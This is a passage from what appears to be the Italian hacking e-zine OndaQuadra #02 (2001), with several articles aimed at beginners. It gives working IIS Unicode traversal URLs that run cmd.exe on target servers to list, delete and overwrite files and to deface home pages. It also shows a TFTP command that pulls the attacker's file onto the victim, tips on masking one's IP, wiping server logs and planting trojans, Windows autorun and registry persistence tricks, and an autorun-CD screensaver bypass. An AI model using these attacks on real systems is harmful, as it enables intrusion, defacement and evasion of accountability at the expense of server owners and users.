Volume Serial Number is XXXX-XXXX

Directory of c:

XX/XX/200X XX:XXp/a <DIR> .
XX/XX/200X XX:XXp/a <DIR> ..
XX/XX/20XX XX:XXp/a dim_file nome_file
XX/XX/20XX XX:XXp/a dim_file nome_file
XX/XX/20XX XX:XXp/a dim_file nome_file
XX File(s) dim_tot_files bytes
X Dir(s) dim_tot_dir bytes

N0TA: Per eseguire il comando 'perl unicodexecute.pl XXX.XXX.XXX.XXX:80 dir+c:\'
se utilizzi windows ricordati che devi possedere il programma 'ActivePerl' e che
devi trovarti nella directory c:\perl\bin; se utilizzi linux devi solamente
ricordare di posizionarti nella directory dove hai scaricato i file della serie
unicode. In entrambe i casi la sintassi e la visualizzazione e' la stessa.

5.1.2 - MET0D0 2-
-----------------
browser: Apri il tuo browser preferito e nella barra degli indirizzi scrivi l'url del
server bersaglio seguito da una delle seguenti linee di comandi:

1. www.host-beraglio.com/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir
2. www.host-bersaglio.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir
3. www.host-bersaglio.com/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir
4. www.host-bersaglio.com/wwwroot/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir
5. www.host-bersaglio.com/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir
6. www.host-bersaglio.com/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir

Prova tutte le combinazioni sovracitate fino a quando vedrai apparire (nel browser
stesso) una serie di dati del server seguita dall'elenco delle directory e dei files
contenuti nella unita' c:\ del server che e' identica a quella citata nell'esempio
del metodo 1. Tieni a mente quale combinazione e' andata a buon fine perche' ti
servira' nel prossimo punto.


/-------------------------------------------------\
|6 - ALTERARE iL C0NTENUT0 DEL SERVER VULNERABiLE-|
\-------------------------------------------------/

Ci sono vari comandi che si possono eseguire sul server vulnerabile oltre a frugare
tra le sue directory. Alcuni di questi sono:
'dir', 'echo', 'del', 'copy' o come uploadare qualche file per alterare il contenuto
del server stesso.

----------------------------
6.1 - DA WiND0WS 0 DA LiNUX-
----------------------------

6.1.1 - MET0D0 1-
-----------------
exploits: Per alterare il contenuto della home-page e' sufficiente prima di tutto
localizzare il file home-page.
Sfogliando le directory del server, dovresti trovare (forse in qualche subdirectory
o forse non in c: ma in d: o addirittura in e:) il file 'index.htm', 'index.html',
'main.htm', 'main.html', 'default.htm', 'default.html', 'home.htm' oppure 'home.html',
ma in caso tu non riesca a trovarlo prova a guardare nella directory
'c:\inetpub\wwwroot\' con il seguente comando:
perl unicodexecute.pl XXX.XXX.XXX.XXX:80 dir+c:\inetpub\wwwroot\*.htm*.
Una volta localizzato il file esegui il seguente comando sullo stesso prompt
di ms-dos che hai gia' aperto (se usi windows) o sullo stesso terminale (se usi linux):
perl unicodexecute.pl XXX.XXX.XXX.XXX:80 "echo+Hacked+by+me >
c:\directory_dell'index\nome_dell'index"
(se non funziona con unicodexecute.pl
prova con unicodexecute2.pl).
Ti apparira' la scritta: 'Executing echo Hacked by me on XXX.XXX.XXX.XXX:80'.
A questo punto molto probabilmente ti dara' un messaggio di errore nel 'CGI Gateway',
non preoccuparti, e' normale anche se su alcuni server questo metodo non funziona lo
stesso.

6.1.2 - MET0D0 2-
-----------------
browser: Apri il tuo browser preferito e nella barra degli indirizzi scrivi l'url del
server bersaglio seguito da una delle seguenti linee di comandi:

1. Per visualizza il contenuto della directory c:\ esegui il seguente comando:
www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir\c%20c:\
2. Per creare un file (testo.txt) con la scritta 'SCRIVI_QUA_UN_TESTO':
www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20echo%20SCRIVI_QUA_UN_
_TESTO%20>%20testo.txt
3. Per cancella il file testo.txt:
www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20del%20c:\testo.txt
4. Per rinominare la home-page (supponendo che si trovi in 'c:\InetPub\wwwroot\'):
www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20copy%20
c:\InetPub\wwwroot\index.htm%20c:\InetPub\wwwroot\index_old.htm
5. Per uplodare un file sul server bersaglio (devi possedere un server TFTP avviato
sul tuo pc):
www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20tftp%20-i%20INSERISCI
_QUA_IL_TUO_IP%20get%20INSERISCI_QUA_LA_DIRECTORY_E_IL_NOME_DEL_FILE_SUL_TUO_PC_CHE
_VUOI_UPLODARE%20INSERISCI_QUA_LA_DIRECTORY_E_IL_NOME_DEL_FILE_DEL_SERVER_VULNERABILE
6. Per alterare la home-page uplodandola dal proprio hard-disk (supponendo che si trovi
in 'c:\InetPub\wwwroot\'):
www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20copy%20c:\winnt\system32
\cmd.exe%20c:\inetpub\wwwroot\cmd2.exe - comando per copiare il programma 'cmd.exe'
nella stessa directory della home-page.
www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af
..%c0%af..%c0%af..%c0%af..%c0%af/inetpub/wwwroot/cmd2.exe?/c%20echo%20SCRIVI_QUA_UN
_TESTO>%20index.htm

Queste informazioni (6.1.2) sopra riportate le ho reperite su svariati siti di sicurezza
ma non le ho mai testate quindi non garantisco del loro funzionamento.


/------------------------\
|7 - ViRTU0SiSMi TECNiCi-|
\------------------------/

Nel momento in cui ti connetti ad un server qualsiasi, il tuo IP (Internet Protocol)
viene identificato e loggato, quindi ricordati che quando tenti di hakkare un sito
non sei del tutto protetto e al sicuro. Per ovviare a questo "problema" ti consiglio
di mascherare il tuo IP mediante un proxy server (una lista di proxy aggiornata e'
reperibile al sito: http://www.multiproxy.org/); se non sai come fare ti consiglio
di leggere qualche guida che tratti in maniera semplice l'argomento.
Se ci tieni molto alla sicurezza la cosa migliore da fare, oltre all'utilizzo di un
server proxy, e' quella di non lasciare messaggi troppo espliciti sui server che
violi, ovvero e' consigliabile non lasciare il proprio indirizzo e-mail e menchemeno
nessun dato personale, al massimo il proprio nick-name.
Un altra cosa da tenere a mente e' che per maggior sicurezza dovresti cercare
(quando possibile) di cancellare i file .log del server violato: su un server windows
nt il file .log e' quasi sempre situato nella directory
'c:\winnt\system32\logfiles\W3SVC32'.

Con l'accesso gia' garantito al server puoi fare quello che meglio ritieni.
Generalmente gli hackers seri si accontentano di alterare solamente la homepage;
questo è un fatto molto positivo visto che quello che vogliono manifestare e'
solamente quello che appare.
Per continuare ad avere accesso al server pero' puoi scegliere di eseguire un
terminale remoto (trojan) su di esso, soprattutto perche' non e' detto che l'host
resti vulnerabile per sempre.


/--------------------------------\
|8 - ADESS0 SEi UN HACKER. 0 N0?-|
\--------------------------------/

Ti consideri un hacker adesso?
Spero di N0 anche perche' non lo sei. Ci vuole ben altro per esserlo.


/-----------------\
|9 - GLi EXPL0iTS-|
\-----------------/

Gli exploits che sono necessari per mettere in pratica le "istruzioni" sono i seguenti:

- unicodecheck.pl (uni.pl)
- unicodexecute.pl
- unicodexecute2.pl

Come gia' detto, tutti questi exploits sono reperibili su http://www.securityfocus.com/
oppure su http://packetstorm.securify.com/.


Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via e-mail o su
irc.

101010101010101010101010101010101010101010101010101010101010101010
01|¯¯¯¯\/¯¯¯¯|01010101|¯¯|0101|¯¯|01010101010101010101010101010101
10| |10101010| |101| _|0101010101010101010101010101010
01| |\ /| |¯¯¯¯/¯¯¯¯| _¯¯\| \ ¯\1010/¯¯/101010101010101010101
10| |1\/0| | | /\ | |1| | |\ \10/ /1010101010101010101010
01| |0101| | | \/ | |0| | |0\ \/ /10101010101010101010101
10|__|1010|_|____\__ |__|1|__|\___|\ /0101010101010101010101010
01010101010101010101| |1010101010101/ /01010101010101010101010101
101010101010101|¯¯|0| |010101010101/ /010101010101010101010101010
01|¯¯¯¯|0101010\___¯__/10101010101/__/010101|¯¯|010101010101010101
101| |010101010101010101010101010/ ¯|000| |01010101010101010
010| ||¯¯¯_¯¯\1/¯¯¯¯¯|¯¯|0|¯|¯¯¯¯\ /|¯¯¯¯|| |01/¯¯¯¯\|¯¯|/__|01
101| || |0| | /\ | |1| | |1\ \| |0| |1| /\ | /01010
010| || |1| | \/ | |0| | |01| | |1| |0| \/ | |010101
10|____|__|0|__|\__ |\_____|____|___|____|1\___|\____/|__|101010
0101010101010101010| |1010101010101010101010101010101010101010101
1010101010101010101| |0101010101010101010101010101010101010101010
0101010101010101010| |1010101010101010101010101010101010101010101
1010101010101010101|__|0101010101010101010101010101010101010101010
010101010101010101010101010101010101010101010101010101010101010101


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| SE L0 C0N0SCi L0 EViTi ................................. [Tdi110cv] 0x09/0x25 |
+-------------------------------------------------------------------------------+

*************************************************************
* Se lo conosci lo eviti !!! Se lo eviti non ti arresta !!! *
*************************************************************

Luogo di stesura : CRFI (chi ha orecchie per intendere intenda)
Ora di stesura : Cazzi miei ! (volete che vada dai sindacati ?)
Motivo : Sono qui ad aspettare la fine di un job e evito di
ammuffirmi !!
Saluti : Tutti gli Hackmaniaci !!!
Insulti vari : JEY... brutto strucchino che non sei altro ! mettiti
su una linea telefonica no ?!
: DJIN ... porca puttana ma hai altro da fare che criticare
l'operato altrui ?
(cmq date una occhiatina al precedente
articolo)
: WEBMASTER : Ma ti decidi , gnegnengne , a cambiare quella
sottospecie di
sottoserver MAC ? Almeno dimmi dove
trovare dei riespettosi exploit
per quella mela morsicata !!!! E magari
l'hai anche pagato caro !?
Anzi e magari l'hai anche pagato ?!

My E-MAIL : TDI110CV@INAME.COM
Target : For very little Newbies !!! (e che volete che scriva visto
che anche io sono un
newbies ?)
* * *

... no ! non e' uno dei famosi detti alla zio Tibia , ma un detto
popolare che circola nei
nostri ambienti !
Si sta' infatti parlando dei famosi NOPT , i quali sembra abbiano la
brutta abitudine di capitare
nei momenti meno opportuni in casa tua e portarti , forzatamente ,
al comando ! (vero Axel ?)
Bene bene ! A questo punto direi che il fine di questo articolo lo
abbiamo compreso !
Approposito ... solita storia ! Non venitemi a cacare il cazzo con
stronzate del tipo : 'ma
queste cose sono state scritte migliaia di volte ! ' , perchè a me'
nun me frega'n cazzzo !
Sarebbe la stessa cosa che andare alla Apogeo e alla Jackson e
chiedergli come mai di
manuali sul Linux ne avete scritti 326.000 !
Capito ?
Cmq il loro scopo sara' quello di far soldi ... il mio invece di
scrivere le cose piu' semplici
possibili !
Ci sono concetti infatti che per quanto banali possano essere ora ,
ai miei tempi per impararle ,
seppur avendo sottomano anche le E-ZINE piu' alla moda , ci metteva
giorni !
Di conseguenza se lo scopo e' informare chi vuol essere informato ,
ma e' privo di basi per
apprendere le cose semplici , e' scontato che sia meglio partire
dalle le cose banali , ma e'
fondamentale farlo anche nel modo piu' chiaro possibile.
OK ! Fatta la premessa si parte con introdurre che lo strumento
principale e' come tutti sanno ,
o almeno dovrebbero sapere , il fido TELNET !
Il telnet ? (cazzo sento gia le esclamazioni piu' meravigliate :PPPP)
- Ma io ho sentito parlare di shell , di linux , di portscan , ecc.
!!!!
- Che cazzo ci faccio con questo cazzo di Telnet ?
Cosa ci fate con questo cazzo di Telnet ?
... Be' io direi tutto !
Voi pensate che con il fido Telnet potete farci del portsurfing ,
che altro non e' che un palloso
modo di fare portscanning , ovvero connettersi a una determinata
porta per verificarne il suo
stato ! (badate : aperta , chiusa , o filtrata)
Connettersi ad una determinata porta vuol quindi dire che
potenzialmente e' possibile interagire
con essa !
Alla fine i famosi client di posta fanno esattamente questo ! Si
connettono alla 25 , o alla
110 del server , a seconda se la posta deve essere spedita o
ricevuta , e cominciano ad
inviare i comandi necessari !
E come loro tutti i tipi di client presenti al mondo !
(cazzo e poi ditemi che non sono chiaro !!!!)
Inoltre , cosa direi quasi tranqurabile e lievemente significativa
:PPP , con il fido telnet
avete la possibilita' di connettervi anche con qualche server sulla
porta 23 ! Badate bene che
questo servizio e' << MoLtO RaRo :PPPPPPPPP >> !!!!
... e vai sulla porta 80 , si proprio quella su cui lavora il buon
browser Internet ! Che si
scrive BROWSER , ma noi lo leggiamo BROOOOSEEEERRRRRR ! (cosi' si
sfrutta l'unicode dei server
IIS )
Insomma con lo strumento in questione , e' possibile effettuare una
connessione con ogni porta
aperta !
Quindi , e piano piano arriviamo al punto , tutti sanno anche che ad
ogni tentativo di
connessione , verso qualsiasi servizio disponibile , e su qualsiasi
server , sono in agguato i
nostri perenni nemici ; i famosi log !!!
Bene questi non sono altro che degli stronzettini che non fanno
altro che scrivere su dei
file tutti quei numerini tipo 210.123.23.1 che altro non e' che il
vostro IP !!!!
Il vostro ip mediante il quale poi si risale anche a chi siete !
Inoltre , proprio per ovviare a frasi del tipo :' ma , ma , ma , ma
, io , io non ho fatto
nulla ! ' , questi spesso , a volte anche a seconda del servizio ,
oltre a loggarvi l'ip , vi
loggano anche tutte le richieste ! dalla prima all'ultima !
I piu' bravini , diranno ! Ma guarda che lamer che sei , ancora a
parlare di wingate !
E invece un cazzetto !
Questa volta , quello che vi salvera' il culo , saranno i socks !
Aggeggetti meno conosciuti ,
ma molto molto comodi !
Ultimamente sembra quasi una moda quella dei wingate , ma spiacente
per voi questi ultimi sono
stati spesso sfruttati in malomodo , con la conseguenza che oggi
funzionano , ma domani no !
Tra le altre cose , non pensiate che essi non loggano perchè lo
fanno e come !
Ebbene quindi che altro possiamo fare ?
Ve lho detto no ?! Usate i socks ! Quesi famosi servizietti che si
usavano , quando ancora non
erano k-lineati , su IRC !
Bene ora li userete per telnettarvi su qualsiasi server ! come ? Be'
certo non con il telnet
di Windozzo , ma con un telnet che supporti l'uso di quest'ultimi !
Dove trovarlo ? Be' usate ........... che potrete scaricare da
www.download.com !
Semplice , inserite il socks , la porta (1080) , l'host a cui volete
connettervi , la porta
la porta relativa e... BOOMMMMM !
Siete loggati , ma nei log di sistema non ci troverete il vostro ip
, ma quello del socks !
Cosi' potrete telnettarvi nella vostra free shell preferita , e fare
i soliti danni che vi
piace fare !
Attenzione pero' !
Non tentate nessun attacco con questi strumentini , poichè non
offrono una gran sicurezza !
Certo , la possibilita' che avevate utilizzando i wingate ovvero
quella di rimbalzare su
piu' wingate per arrivare al target , ora non l'avrete piu' !
Ovvio , almeno che ... non ci trovate un telnet che gestisca piu'
socks !
Pero' ... magari non si trova , ma nessuno vieta di farselo !
(compito per casa , al limite
speditelo anche a me' !!!)
E quindi cazzo mi serve un socks ? Be' ad una marea di cose !
Dovete tenere presente che telnettarvi su una di queste famose shell
unix , passando per un
socks , fara' in modo di evitarvi una sicura parte da protagonisti
in quelli che sono gli
esperimenti di tipo smurf flood o cacate simili tentati dai numerosi
lameroni di passaggio.
Inoltre c'è da tener presente che il rischio di essere beccati a
fare qualche cosa che non va ,
e' tanto piu' alto quanto grossi sono i danni che fate !
Io come Sysadm , non penserei mai a mettermi alla ricerca di qualche
bel lamerone che e'
riuscito a cambiare la mia home page !
Sarebbe un dispendio di tempo e danaro inutile ! (oramai non
ingabbiano piu' neanche i pedofili)
Diverso sarebbe se questo lamerone oltre a cambiarmi le home page ,
mi preleva il file password ,
accede a root e fa anche danni !
Come reperirli ? bene , qua' entra in gioco la fantasia !
Normalmente io cerco nelle liste
nere dei server IRC ! Altri utilizzano degli appositi scanner ,
altri ancora entrano nelle
free shells e smanettano li.
Infine , un metodo molto usato , si entra in uno di quei siti che li
classificano e si cerca
li dentro !
Attenzione , spesso quelli che troverete non saranno piu'
funzionanti ! Ma non perdetevi
d'animo ! Con un pochino di pazienza li si trova facilmente !
Bene carissimi ! Io avrei terminato ! Si certo un articoletto
proprio terra terra , ma senza
le basi ... dove vogliamo andare ?
Piano piano arriveremo a parlare di cosette piu' serie ! io , non so
gli altri , non mi sento di
tirar fuori cose piu' complesse senza spiegare le basi !
... o con noi o contro di noi !
il Vostro TDI110CV !!!!

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| MET0Di Di ESECUZi0NE AUT0MATiCA ............................ [E4zy] 0x0A/0x25 |
+-------------------------------------------------------------------------------+

In questo articolo ho raccolto tutti i dettagli relativi all'esecuzione
automatica di file su sistemi Windows, tutti i metodi che mi accingo ad
affrontare sono largamente descritti nei maggiori siti di sicurezza italiani
e non.

- Esecuzione automatica:
Il percorso di tale cartella all'installazione di Windows è settato per
default pari a:
C:\WINDOWS\Menu Avvio\Programmi\Esecuzione automatica

Tale valore viene attribuito grazie alla seguente chiave del registro di
configurazione di Windows:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders]
Startup="C:\WINDOWS\Menu Avvio\Programmi\Esecuzione automatica"

Cambiando il valore di tale chiave permetteremo l'esecuzione incondizionata
di tutti i file all'interno di un'arbitraria cartella.

- Win.ini:
[windows]
load=file.exe
run=file.exe

- System.ini:
[boot]
Shell=Explorer.exe file.exe

Basterà accodare, alla voce "Shell", nome ed estensione del file che si
desidera eseguire all'avvio di Windows.

- Winstart.bat:
Una volta creato e posto all'interno della cartella c:\windows verrà
richiamato ad ogni avvio di Windows, il principio di funzionamento è quello
di un consueto file bat.

- Registro di configurazione:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
StringName="c:\path\file.exe"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
StringName="c:\path\file.exe"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
StringName="c:\path\file.exe"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
StringName="c:\path\file.exe"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
StringName="c:\path\file.exe"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
StringName="c:\path\file.exe"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
StringName="c:\path\file.exe"

Possiamo aggiungere una stringa a una delle chiavi elencate precedentemente
ed otterremo l'esecuzione di una determinata applicazione ad ogni avvio di
Windows.

- Wininit.ini:
Ad ogni esecuzione Windows verifica la presenza del file wininit.ini nella
cartella c:\windows, in caso affermativo lo processa e una volta terminata
l'esecuzione viene definitivamente rimosso dal sistema. Questa procedura
viene spesso utilizzata dai programmi di installazione allo scopo di
cancellare, rinominare o spostare file che sono in uso dai componenti del
sistema.

-------------- wininit.ini --------------

[Rename]
NUL=c:\path\file.exe

-------------- wininit.ini --------------

Questo file una volta posizionato all'interno della cartella c:\windows
permette, al successivo avvio del sistema, l'esecuzione del file specificato
al suo interno, inoltre, il file wininit.ini verrà cancellato sucessivamente
all'esecuzione; è necessario cambiare il percorso e il nome del file da
eseguire a seconda delle proprie esigenze.

- Autoexec.bat:
Viene avviato ad ogni boot del pc

- Creazione di shell dal registro di configurazione:

[HKEY_CLASSES_ROOT\exefile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @=""%1" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @=""%1" %*"

Il valore di ogni chiave viene posto di default pari a ""%1" %*" al momento
dell'installazione di Windows, modificando il valore di una delle chiavi
elencate precedentemente con il valore:

"file.exe "%1" %*"
file.exe sarà eseguito ogni qual volta sarà eseguito un file con estensione
relativa alla chiave modificata.

- ICQ NetDetect Agent:

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\]
Questa chiave del registro di configurazione racchiude tutte le applicazioni
che verranno eseguite nel caso in cui il NetDetect Agent di ICQ rilevi una
connessione a Internet.

Mettiamo che dovessimo eseguire automaticamente un'applicazione a
connessione avvenuta, dovremmo procedere creando una sottochiave all'interno
della chiave illustrata precedentemente e fornire dei valori appropriati al
caso:

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\file]
"Path"="c:\\path\\file.exe"
"Startup"="file.exe"
"Parameters"=""
"Enable"="Yes"

in questo esempio file.exe verrà eseguito ogni volta che sarà stabilita una
connessione, naturalmente condizione necessaria è che l'ICQ NetDetect Agent
sia attivo al momento della connessione.

- Explorer.exe:

Windows9x/ME
Il file Explorer.exe viene seguito all'avvio di Windows grazie ad una
chiamata nel system.ini, esso ha la funzione di gestore di finestre per il
sistema operativo. La chiamata nel system.ini, che ne permette l'esecuzione
ad ogni avvio, non specifica alcun percorso e per questo Windows è costretto
a ricercare tale file all'interno del file system partendo dalla directory
radice.
Sfruttando la debolezza di tale criterio basterà rinominare il file che
desideriamo eseguire in explorer.exe e inserirlo nella directory radice (c:\
per intenderci), esso verrà eseguito al prossimo avvio del sistema.

Windows NT/2000
In ambiente Windows NT/2000 la chiave del registro di configurazione:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell]
tale chiave è settata al momento dell'installazione del sistema operativo e
contiene come valore il nome del programma che sarà eseguito dal sistema
come gestore di finestre, il gestore di finestre predefinito è Explorer.exe.

Il valore della chiave specifica il modulo che deve essere caricato allo
sturtup, ciò viene fatto usando un percorso relativo che obbliga Windows
alla ricerca di tale file secondo un criterio ben preciso, che rispetta il
seguente ordine:

1. directory corrente;
2. directory specificate all'interno della chiave del registro di
configurazione
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Environment\Path], nell'ordine in cui sono specificate;
3. directory specificate all'interno della chiave del registro di
configurazione
[HKEY_CURRENT_USER\Environment\Path], nell'ordine in cui sono specificate.

In poche parole, rinominando un file in explorer.exe e collocandolo
all'interno della directory radice esso sarà eseguito ad ogni avvio del
sistema senza bisogno dell'aggiunta di alcuna chiave al registro di
configurazione.

- Componenti Active-X:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed
Components\NomeChiave]
Pathname=C:\Path\File.exe

Consente l'avvio di file.exe all'avvio del sistema, l'esecuzione di tale
file precederà quella di qualsiasi altro programma dichiarato all'interno di
chiavi "Run".

- Autorun.inf:
Questo file se collocato nella directory radice di un qualsiasi supporto
rimovibile e non (HD, Cd-rom, etc...), consente l'esecuzione incondizionata
di qualsiasi file exe in esso dichirato, nel caso in cui si acceda a tale
supporto.

----------- autorun.inf -----------

open=file.exe

----------- autorun.inf -----------

Tale file una volta posto nella directory root di un drive causerà
l'esecuzione di file.exe ad ogni accesso alla periferica.


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| AUT0RUN .................................................... [E4zy] 0x0B/0x25 |
+-------------------------------------------------------------------------------+

L'autorun di Windows è stato progettato in modo da permettere l'esecuzione
automatica di un eseguibile o il caricamento di un'icona quando un
dispositivo di memoria di massa rimovibile (quale un cd-rom, un disco
rimovibile, etc.) viene inserito. Una volta rilevata la presenza del file
autorun.inf, all'interno del supporto rimovibile, il file linkato al suo
interno verrà automaticamente eseguito. Questa caratteristica se usata su un
supporto fisso può rivelarsi un'arma a doppio taglio.
In questo modo è possibile che un utente malizioso sia in grado di eseguire
codice arbitrario servendosi delle potenzialità di tale funzione, si pensi
che basterà che esso posizioni nella directory radice (ad esempio c:\ se
prendiamo come esempio la prima unità di memoria di massa) il file che
desidera eseguire insieme all'autorun.inf che conterrà il link
all'eseguibile.
Non appena un utente tenterà di accedere a tale driver causerà
l'esecuzione del file che girerà con i privilegi attribuiti all'user stesso
che ne ha causato l'esecuzione.

Passiamo ora alla parte pratica, dobbiamo eseguire il file server.exe (che
fantasia =) sul sistema target e per fare questo ci vogliamo servire della
funzione autorun.
Dobbiamo come prima cosa creare il file autorun.inf che ne permetterà
l'esecuzione, la sintassi che ci permetterà di eseguire un file all'interno
del nostro driver è la seguente:

open=[exepath\]exefile [param1 [param2] ...]


il nostro autorun.inf di conseguenza apparirà in questo modo:



---------- autorun.inf ----------

open=server.exe

---------- autorun.inf ----------


Copiate server.exe e autorun.inf all'interno della directory radice e
riavviare il sistema per rendere effettive le modifiche, nel caso in cui
stiate lavorando in locale basterà F5 per aggiornare l'explorer.exe alle
modifiche apportate.
Adesso non vi resta che attendere che la vittima acceda al driver causando
l'esecuzione del file server.exe.

Vediamo ora un esempio che preveda l'utilizzo di supporti rimovibili: vi
sarà capitato molte volte di trovare un pc protetto da password dello
screensaver e una password al bios che ne impedisce il riavvio (ad esempio
al supermercato). Per bypassare tale protezione ci serviremo ancora una
volta della vulnerabilità riscontrata nell'autorun.
Dobbiamo come prima cosa procurarci un programma in grado di decifrare la
password dello screensaver e disattivarlo automaticamente ad esempio
SS-Unlock (http://www.ips-corp.com) oppure SSBypass reperibile al sito
http://www.amecisco.com/ssbypass.htm .
A questo punto siamo pronti per masterizzare il nostro cd-rom che conterrà
nella directory radice il nostro programma e il file autorun.inf alla cui
voce "open=" sarà specificato il file da eseguire, inseriamo il nostro
cd-rom nel lettore del pc che desideriamo bypassare e come per magia il
programma presente sul cd-rom verrà eseguito nonostante la presenza dello
screensaver e disattiverà lo stesso (questo funziona per qualsiasi sistema
Windows9x, almeno che non sia stata disattivata la voce relativa alla
notifica inserimento automatico).

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| SCANNiAM SCANNiAM0 CHE N0i W2K L0 Vi0LiAM0 ............. [Tdi110cv] 0x0C/0x25 |
+-------------------------------------------------------------------------------+

Autore : TDI110CV
Luogo : Ufficio
Orario : 13.30 (pausa !!!)
e-mail : tdi110cv@iname.com
Telefono : +8888 - 88
____________________________________________________________________________
Disclamer piu' o meno legali !

- Allora ... il presente articolozzo e tutto il codice in esso contenuto
si intende ad uso e consumo unicamente di quelle persone che amministrano
uno o piu' server in questione al fine unico di testarne il grado di
vulnerabilita'. Per ogni altro utilizzo da parte di malintenzionati o
compagnia bella io TDI110CV declino ogni responsabilita' dichiarando che
in questo ultimo caso io non sono io e quindi io non posso aver scritto
quello che io sto per esporvi.
Infine io TDI110CV dichiaro di non sapere nulla in materia (che e' pure
vero) , e che se conoscevo non sapevo e che se sapevo non c'ero e se
c'ero non mi ricordo.
Insomma riassumendo sappiate che se fate casino son tutti cazzi Vostri !
____________________________________________________________________________
Carissimi lettori , come ho gia detto molte volte Vi ricordo ancora che
per imparare o avvicinarsi all'arte dell'hacking le difficolta' che
bisogna superare sono moltissime !
E' un po' come essere sposati ! Le difficolta' sono molte ma poi se impari
a superarle tutto diventa piu' facile.
Immagino che qualcuno di Voi si stia gia chiedendo perchè cazzo Vi sto
sparando queste menate !
Eccheccazzoooooo pensate che io vi stia a tartassare i maroni per nessun
buon motivo ? EHHH ?!
Bene allora dovete sapere che in questo ultimo periodo la vita dello smanettone
sembra sia diventata un pochino piu' semplice !
Certo grazie al buon Bill abbiamo la possibilita' di bucare , in quattro e
quattro otto , la maggior parte delle sue creature.
In questo numero di OQ troverete (almeno spero) un bel manuale
sull'hacking di NT scritto dal buon Tritemius.
All'interno potrete trovare diverse tecniche di hacking tra le quali una
delle piu' famose ! Si la tecnica che sfrutta il bug dell'unicode trasversal
directory.
Bene leggetevela tutta tutta e cercate di comprenderla.
Una volta compreso il concetto e suoi utilizzi , Vi troverete con la
necessita' di trovare un server IIS bacato.
Allora le soluzioni sono 2 :

1 - connettersi via telnet o browser e inviare al server in questione una
ad una tutte le stringhe conosciute che sfruttano il bug.

2 - Utilizzare uno scanner che lo fa per Voi una volta per tutte !

Ok ... se tanto mi da tanto la cosa piu' comoda e' lo scanner , giusto ?
Ebbene allora io Vi ho codato , o almeno QAUSI codato , uno scriptino in
Perl che fa tutto questo.
Di seguito vi lascio il codice fatene buon uso !
Per qualsiasi suggerimento mailizzatemi pure ! ciao !

Taiia acchi' !
_______________________
#!/usr/bin/perl
# Use port number with SSLproxy for testing SSL sites
